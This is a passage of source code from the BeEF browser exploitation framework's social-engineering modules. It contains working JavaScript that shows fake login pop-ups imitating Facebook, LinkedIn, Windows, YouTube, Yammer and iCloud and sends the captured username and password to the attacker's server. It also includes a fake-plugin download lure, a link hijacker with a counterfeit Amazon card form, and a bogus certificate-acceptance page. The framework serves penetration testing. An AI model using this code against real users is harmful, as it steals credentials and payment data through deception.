    '; answer = document.getElementById('uname').value+':'+document.getElementById('pass').value; } // Check whether the user has entered a user/pass and pressed ok function checker(){ uname1 = document.getElementById("uname").value; pass1 = document.getElementById("pass").value; valcheck = document.getElementById("buttonpress").value; if (uname1.length > 0 && pass1.length > 0 && valcheck == "true") { // Join user/pass and send to attacker answer = uname1+":"+pass1 beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); // Set lastchild invisible document.body.lastChild.setAttribute('style','display:none'); clearInterval(credgrabber); // Lighten screen grayOut(false); $j('#popup').remove(); $j('#darkenScreenObject').remove(); } else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true") { // If user has not entered any data, reset button document.getElementById("buttonpress").value = "false"; alert("Please enter a valid username and password."); } } // Facebook floating div function facebook() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"'; var windowmain = 'style="border:1px #555 solid;"'; var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(109, 132, 180);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 30px;"'; var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(109,132,180);"'; var buttonstyle = 'style="font-size: 13px;background:#627aac;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; var title = 'Facebook Session Timed Out'; var messagewords = 'Your session has timed out due to inactivity.

    Please re-enter your username and password to login.'; var buttonLabel = ''; // Build page including styles sneakydiv.innerHTML= '
    ' +title+ '

    ' + messagewords + '

    Email:
    Password:
    ' + '
    ' +buttonLabel+ '
    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } // Linkedin floating div function linkedin() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; var windowmain = 'style="border:1px #555 solid;"'; var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; //-moz-box-shadow: 0 1px 4px #ccc;-webkit-box-shadow: 0 1px 4px #CCC;-o-box-shadow: 0 1px 4px #ccc;box-shadow: 0 1px 4px #CCC; var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"'; var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; var lilogo = 'https://static.licdn.com/sc/h/95o6rrc5ws6mlw6wqzy0xgj7y'; var title = 'Session Timed Out LinkedIn'; var messagewords = 'Your session has timed out due to inactivity.

    Please re-enter your username and password to login.'; var buttonLabel = ''; // Build page including styles sneakydiv.innerHTML= '
    ' +title+ '

    ' + messagewords + '

    Email:
    Password:
    ' + '
    ' +buttonLabel+ '
    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } // Windows floating div function windows() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? // Set window border var edgeborder = 'style="border:1px #000000 solid;border-radius:6px;"'; var windowborder = 'style="width:400px;border: 7px #CFE7FE solid;border-radius:6px;"'; var windowmain = 'style="border:1px #000000 solid;"'; var titlebarstyle = 'style="background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;"'; var titlebartext = 'Windows Security'; var promptstyle = 'style="height:40px;"'; var titlestyle = 'style="align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;"'; var title = 'Enter Network Password'; var bodystyle = 'style="align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;"'; var body = 'Enter your password to connect to the server'; var dividestyle = 'style="border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;"'; var tablestyle = 'style="background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px"'; var logobox = 'style="border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff"'; var logo = 'style="border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top, #EEF2F4, #CCD8DF);"'; var inputboxstyle = 'style="width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;"'; var credstextstyle = 'style="font-size:11px;font-family:Segoe UI;"'; var buttonstyle = 'style="font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top, #ffffff, #CFCFCF);"'; var buttonLabel = ''; var bbarstyle = 'style="background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;"'; // Build page including styles sneakydiv.innerHTML= '
    ' +titlebartext+ '

    ' +title+ '
    ' + body + '

    Remember my credentials
    ' + '
    ' +buttonLabel+ '
    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } // YouTube floating div function youtube() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; var windowmain = 'style="border:1px #555 solid;"'; var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"'; var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; var logo = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png'; var title = 'Session Timed Out YouTube'; var messagewords = 'Your session has timed out due to inactivity.

    Please re-enter your username and password to login.'; var buttonLabel = ''; // Build page including styles sneakydiv.innerHTML= '
    ' +title+ '

    ' + messagewords + '

    Username:
    Password:
    ' + '
    ' +buttonLabel+ '
    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } // Yammer floating div function yammer() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? var windowborder = 'style="width:330px;background:white;border: 10px #999999 solid;border-radius:8px;"'; var windowmain = 'style="border:1px #555 solid;"'; var tbarstyle = 'style="color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top, #919191, #595959);"'; var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; var messagestyle = 'style="align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"'; var box_prestyle = 'style="color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;"'; var buttonstyle = 'style="font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; var logo = 'https://www.yammer.com/favicon.ico'; var title = 'Session Timed Out Yammer'; var messagewords = 'Your Yammer session has timed out due to inactivity.

    Please re-enter your username and password to login.'; var buttonLabel = ''; // Build page including styles sneakydiv.innerHTML= '
    ' +title+ '

    ' + messagewords + '

    Username:
    Password:
    ' + '
    ' +buttonLabel+ '
    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } function ios() { /* start of Framework7 css * Framework7 0.10.0 * Full Featured HTML Framework For Building iOS 7 Apps * * http://www.idangero.us/framework7 * * Copyright 2014, Vladimir Kharlampidi * The iDangero.us * http://www.idangero.us/ * * Licensed under MIT * * Released on: December 8, 2014 */ var styles = ' * {' + 'font-family: Helvetica Neue,Helvetica,Arial,sans-serif;'+ 'margin: 0;'+ 'padding: 0;'+ 'font-size: 14px;' + 'line-height: 1.4;' + '-webkit-text-size-adjust: 100%;' + 'overflow: hidden;' + '-webkit-tap-highlight-color: transparent; ' + '-webkit-touch-callout: none; } '; styles += 'input { outline: 0; }'; styles += '.modal-overlay { ' + 'position: absolute; ' + 'left: 0; ' + 'top: 0; ' + 'width: 100%;' + 'height: 100%;' + 'background: rgba(0,0,0,.4);' + ' z-index: 10600;' + ' visibility: hidden;' + 'opacity: 0; ' + '-webkit-transition-duration: 400ms;' + 'transition-duration: 400ms; } '; styles += '.modal-overlay.modal-overlay-visible { visibility: visible; opacity: 1;} '; styles += '.modal { width: 270px; position: absolute; z-index: 11000; left: 50%; ' + 'margin-left: -135px; margin-top: 0; top: 50%; text-align: center; border-radius: 7px;' + 'opacity: 0; -webkit-transform: translate3d(0,0,0) scale(1.185); ' + 'transform: translate3d(0,0,0) scale(1.185); -webkit-transition-property: -webkit-transform,opacity;' + 'transition-property: transform,opacity; color: #000;}'; styles += '.modal.modal-in {opacity: 1; -webkit-transition-duration: 400ms;transition-duration: 400ms;' + '-webkit-transform: translate3d(0,0,0) scale(1); transform: translate3d(0,0,0) scale(1);}'; styles += '.modal-inner { padding: 15px;border-bottom: 1px solid #b5b5b5;border-radius: 7px 7px 0 0;' + 'background: #e8e8e8;}'; styles += '.modal-title { font-weight: 500; font-size: 18px;text-align: center}'; styles += '.modal-title + .modal-text {margin-top: 5px;}'; styles += '.modal-buttons { height: 44px; overflow: hidden;' + 'display: -webkit-box;' + 'display: -webkit-flex;' + 'display: flex;' + '-webkit-box-pack: center;' + '-webkit-justify-content: center;' + 'justify-content: center;}'; styles += '.modal-button {' + 'width: 100%;' + 'padding: 0 5px;' + 'height: 44px;' + 'font-size: 17px;' + 'line-height: 44px;' + 'text-align: center;' + 'color: #007aff;' + 'background: #e8e8e8;' + 'display: block;' + 'position: relative;' + 'white-space: nowrap;' + 'text-overflow: ellipsis;'+ 'overflow: hidden;'+ 'cursor: pointer;'+ '-webkit-box-sizing: border-box;'+ 'box-sizing: border-box;'+ 'border-right: 1px solid #b5b5b5;'+ '-webkit-box-flex: 1;} '; styles += '.modal-button.modal-button-bold {font-weight: 500;} '; styles += '.modal-button:first-child {border-radius:0 0 0 7px;} '; styles += '.modal-button:last-child {'+ ' border-radius: 0 0 7px 0;' + ' border-bottom: none; } '; styles += "input.modal-text-input {" + "-webkit-box-sizing: border-box;" + "box-sizing: border-box;" + "height: 30px;" + "background: #fff;"+ "margin: 0;" + "margin-top: 15px;" + "padding: 0 5px;" + "border: 1px solid #a0a0a0;" + "border-radius: 5px;" + "width: 100%;" + "font-size: 14px;" + "font-family: inherit;" + "display: block;" + "-webkit-box-shadow: 0 0 0 transparent;" + "box-shadow: 0 0 0 transparent;" + "-webkit-appearance: none;" + "appearance: none; }"; styles += "input.modal-text-input.modal-text-input-double {" + "border-radius: 5px 5px 0 0; }"; styles += "input.modal-text-input.modal-text-input-double+input.modal-text-input {"+ " margin-top: 0;" + " border-top: 0;" + " border-radius: 0 0 5px 5px; }"; /*end of Framework7 css*/ styles += "input[type=submit] { " + " visibility: hidden;" + " position: absolute;" + " top: -999px; }"; styles += "input[type=text],input[type=password] { " + " font-size: 16px; }" ; styles += "#pass + div {"+ " display: block;"+ "position: absolute;"+ "top: -10px;"+ "left: -53px;"+ "width: 3000px;"+ "height: 3000px;"+ "background-color: white;"+ "z-index: 1;"+ "font-size: 14px;"+ "pointer-events: none;"+ "text-align: left; }"; styles += '@media only screen ' + 'and (min-device-width : 768px)' + 'and (max-device-width : 1024px)' + 'and (orientation : landscape) {' + '.modal.modal-in {' + ' opacity: 1;' + '-webkit-transition-duration: 400ms;'+ 'transition-duration: 400ms;'+ '-webkit-transform: translate3d(0,0,0) scale(0.9);'+ 'transform: translate3d(0,0,0) scale(0.9);' + 'left: 200px;} ' + ' #pass + div { top: -23px; left: -87px;} }'; styles +='@media only screen and (min-device-width : 768px)' + 'and (max-device-width : 1024px) and (orientation : portrait) {' + '.modal.modal-in { opacity: 1; -webkit-transition-duration: 400ms;' + 'transition-duration: 400ms; -webkit-transform: translate3d(0,0,0) scale(0.8);'+ 'transform: translate3d(0,0,0) scale(0.8);} ' + '#pass + div {top: -39px;left: -305px;} }'; styles += '#pass:focus + div {display: none;}'; styleElement = $j(document.createElement('style')).text(styles); title = $j(document.createElement('div')); title.text('iCloud login'); title.addClass('modal-title'); description = $j(document.createElement('div')); description.addClass('modal-text'); description.text('Enter your Apple ID e-mail address and password'); user = $j(document.createElement('input')); user.addClass('modal-text-input').addClass('modal-text-input-double'); user.attr('name','modal-username'); user.attr('id','uname'); user.text(''); user.keydown(function(event) { if(event.keyCode == 13) { $j('#buttonpress').attr('value', 'true'); } }); password = $j(document.createElement('input')); password.addClass('modal-text-input').addClass('mobile-text-input-double'); password.attr('autofocus',''); password.attr('id', "pass"); password.attr('name',"modal-password"); password.attr('placeholder',"Password"); password.attr('type', 'password'); password.keydown(function(event) { if(event.keyCode == 13) { $j('#buttonpress').attr('value', 'true'); } }); cancel = $j(document.createElement('span')); cancel.addClass('modal-button'); cancel.text('Cancel'); ok = $j(document.createElement('span')); ok.addClass('modal-button').addClass('modal-button-bold'); okLabel = $j(document.createElement('label')); okLabel.attr('for','submit'); okLabel.css('width', '100%'); okLabel.css('height', '100%'); okLabel.text('OK'); okLabel.click(function() { $j('#buttonpress').attr('value','true'); }); okLabel.append( $j(document.createElement('input')) .attr('id', 'submit') .attr('type','submit') .attr('value','OK'), $j(document.createElement('input')) .attr('id','buttonpress') .attr('type', 'hidden') .attr('name','buttonpress') .attr('value', 'false') ); ok.append(okLabel); var buttons = $j(document.createElement('div')); buttons.addClass('modal-buttons'); buttons.append(cancel, ok); var inner = $j(document.createElement('div')); inner.addClass('modal-inner'); inner.append(title, description, user,password); uiContainer = $j(document.createElement('div')); uiContainer.addClass('modal').addClass('modal-in'); uiContainer.css('top', '10px'); uiContainer.append(inner, buttons); sneakydiv = $j(document.createElement('div')); sneakydiv.addClass('modal-overlay').addClass('modal-overlay-visible'); sneakydiv.attr('id','popup'); sneakydiv.append(styleElement, uiContainer); $j('body').append(sneakydiv); credgrabber = setInterval(checker, 1000); } // Generic floating div with image function generic() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000'); sneakydiv.setAttribute('align', 'center'); document.body.appendChild(sneakydiv); sneakydiv.innerHTML= '

    Your session has timed out!

    For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.

    Username:
    Password:



    '; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); } // Set background opacity and apply background var backcolor = "<%== @backing %>"; if(backcolor == "Grey"){ grayOut(true,{'opacity':'70'}); } else if(backcolor == "Clear"){ grayOut(true,{'opacity':'0'}); } // Retrieve the chosen div option from BeEF and display var choice = "<%= @choice %>"; switch (choice) { case "Facebook": facebook(); break; case "LinkedIn": linkedin(); break; case "Windows": windows(); break; case "YouTube": youtube(); break; case "Yammer": yammer(); break; case "IOS": ios(); break; default: generic(); break; } }); ================================================ FILE: modules/social_engineering/pretty_theft/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: pretty_theft: enable: true category: "Social Engineering" name: "Pretty Theft" description: "Asks the user for their username and password using a floating div." authors: ["pwndizzle", "vt [nick.freeman@security-assessment.com]", "xntrik"] target: user_notify: ['ALL'] not_working: ['IE'] ================================================ FILE: modules/social_engineering/pretty_theft/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Pretty_theft < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" logo_uri = "#{base_host}/ui/media/images/beef.png" [ { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'], 'store_data' => [['Facebook'], ['LinkedIn'], ['Windows'], ['YouTube'], ['Yammer'], ['IOS'], ['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, { 'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'], ['Clear']], 'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true }, { 'name' => 'imgsauce', 'description' => 'Custom Logo', 'ui_label' => 'Custom Logo (Generic only)', 'value' => logo_uri } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute save({ 'answer' => @datastore['answer'] }) end end ================================================ FILE: modules/social_engineering/replace_video_fake_plugin/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { $j('<%= @jquery_selector %>').each(function(){ var width = $j(this).css('width'); var height = $j(this).css('height'); $j(this).replaceWith(''); }); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace video successful"); }); ================================================ FILE: modules/social_engineering/replace_video_fake_plugin/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: replace_video_fake_plugin: enable: true category: "Social Engineering" name: "Replace Videos (Fake Plugin)" description: "Replaces an object selected with jQuery (all embed tags by default) with an image advising the user to install a missing plugin. If the user clicks the image they will be prompted to download a file from the specified URL." authors: ["Yori Kvitchko", "antisnatchor", "bcoles"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/replace_video_fake_plugin/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Replace_video_fake_plugin < BeEF::Core::Command def self.options [ { 'name' => 'url', 'ui_label' => 'Payload URL', 'value' => '', 'width' => '150px' }, { 'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width' => '150px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/simple_hijacker/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // hijack = function(){ function send(answer){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer); } <% target = @targets.split(',') %> $j('a').click(function(e) { e.preventDefault(); if ($j(this).attr('href') != '') { if( <% target.each{ |href| %> $j(this).attr('href').indexOf("<%=href%>") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{ <% tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js" file = File.open(tplpath, "r") @template = file.read %> <%= @template %> beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template "<%= @choosetmpl %>" applied to '+$j(this).attr('href')); } } }); } beef.execute(function() { hijack(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action'); }); ================================================ FILE: modules/social_engineering/simple_hijacker/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: simple_hijacker: enable: true category: "Social Engineering" name: "Simple Hijacker" description: "Hijack clicks on links to display what you want." templates: ["credential", "confirmbox", "amazon", "chromecertbeggar", "chromecertbeggar2"] authors: ["gallypette"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/simple_hijacker/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Simple_hijacker < BeEF::Core::Command def self.options config = BeEF::Core::Configuration.instance @templates = config.get('beef.module.simple_hijacker.templates') # Defines which domains to target data = [] data.push({ 'name' => 'targets', 'description' => 'list domains you want to hijack - separed by ,', 'ui_label' => 'Targetted domains', 'value' => 'beef' }) # We'll then list all templates available tmptpl = [] @templates.each do |template| tplpath = "#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js" raise "Invalid template path for command template #{template}" unless File.exist?(tplpath) tmptpl << [template] end data.push({ 'name' => 'choosetmpl', 'type' => 'combobox', 'ui_label' => 'Template to use', 'store_type' => 'arraystore', 'store_fields' => ['tmpl'], 'store_data' => tmptpl, 'valueField' => 'tmpl', 'displayField' => 'tmpl', 'mode' => 'local', 'emptyText' => 'Choose a template' }) data end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute save({ 'answer' => @datastore['answer'] }) end end ================================================ FILE: modules/social_engineering/simple_hijacker/templates/amazon.js ================================================ /* * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); $j(document).attr('title', $j(this).html()); document.body.scroll = 'no'; document.documentElement.style.overflow = 'hidden'; collect = function(){ answer = ""; $j(":input").each(function() { answer += " "+$j(this).attr("name")+":"+$j(this).val(); }); send(answer); } // floating div function writediv() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'hax'); sneakydiv.setAttribute('display', 'block'); sneakydiv.setAttribute('style', 'width:60%;position:fixed; top:200px; left:220px; z-index:51;background-color:#FFFFFF;opacity:1;font-family: verdana,arial,helvetica,sans-serif;font-size: small;'); document.body.appendChild(sneakydiv); sneakydiv.innerHTML= '
    Your credit card details expired, please enter your new credit card credential to continue shopping-
    Changes made to your payment methods will not affect orders you have already placed.
    Your Account>

    Add a Credit or Debit Card

      Edit your payment method:
    Cardholder Name:
    Exp. Date: 
    Number:

    Confirm
    '; } writediv(); $j("#confirm").click(function () { $j('#hax').remove(); }); ================================================ FILE: modules/social_engineering/simple_hijacker/templates/chromecertbeggar.js ================================================ /* * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ // floating div function writediv() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'background'); sneakydiv.setAttribute('oncontextmenu','return false;'); sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#500; font-family:Helvetica,Arial,sans-serif; margin:0px;'); document.body.appendChild(sneakydiv); sneakydiv.innerHTML= '
    background
    SSL Error Icon
    Please accept our new SELF®-Signed Certificate to ensure maximum security protection.
    '+domain+' chose SELF® to protect your security. If your browser raise any warning after this one it means that it\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.

    SELF® - to make the Internet a safer place.
    read more about the SELF® certification authority

    Security Enhanced Layer Factory®: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF® help people as customer or seller to feel safe by issuing SELF®-signed certificate that are build to last. With SELF® you will never be harmed again - Trust is our workship.

    Security Enhanced Layer Factory®, SELF® and SELF® logo are registered trademarks.

    '; toggleMoreInfo(true); setDirectionSensitiveImages(); } forward = function(){ send("User continuing to "+target); timer=setTimeout(function(){window.location = target;},500); } getDomain = function(url){ return url.match(/:\/\/(www\.)?(.[^/:]+)/)[2]; } function $(o) {return document.getElementById(o);} sendCommand = function(cmd) { window.domAutomationController.setAutomationId(1); window.domAutomationController.send(cmd); } toggleMoreInfo = function(collapse) { if (collapse) { $("more_info_long").style.display = "none"; $("more_info_short").style.display = "block"; } else { $("more_info_long").style.display = "block"; $("more_info_short").style.display = "none"; } } setDirectionSensitiveImages = function () { if (document.documentElement.dir == 'rtl') { $("twisty_closed_rtl").style.display = "inline"; } else { $("twisty_closed").style.display = "inline"; } } target = $j(this).attr('href'); domain = getDomain(target); $j(document).attr('title', domain+" Security Enhanced Layer Factory® certificate acceptance"); writediv(); ================================================ FILE: modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js ================================================ /* * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ getDomain = function(url){ return url.match(/:\/\/(www\.)?(.[^/:]+)/)[2]; } toggleMoreInfo = function(collapse) { if (collapse) { $("more_info_long").style.display = "none"; $("more_info_short").style.display = "block"; } else { $("more_info_long").style.display = "block"; $("more_info_short").style.display = "none"; } } setDirectionSensitiveImages = function () { if (document.documentElement.dir == 'rtl') { $("twisty_closed_rtl").style.display = "inline"; } else { $("twisty_closed").style.display = "inline"; } } target = $j(this).attr('href'); domain = getDomain(target); //Assets warning = ''; backgreen = ''; backred = ''; locker = 'SSL SELF Icon'; textGreen = ''+domain+' chose SELF® to protect your security. If your browser raises any warning when continuing it means that it\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.

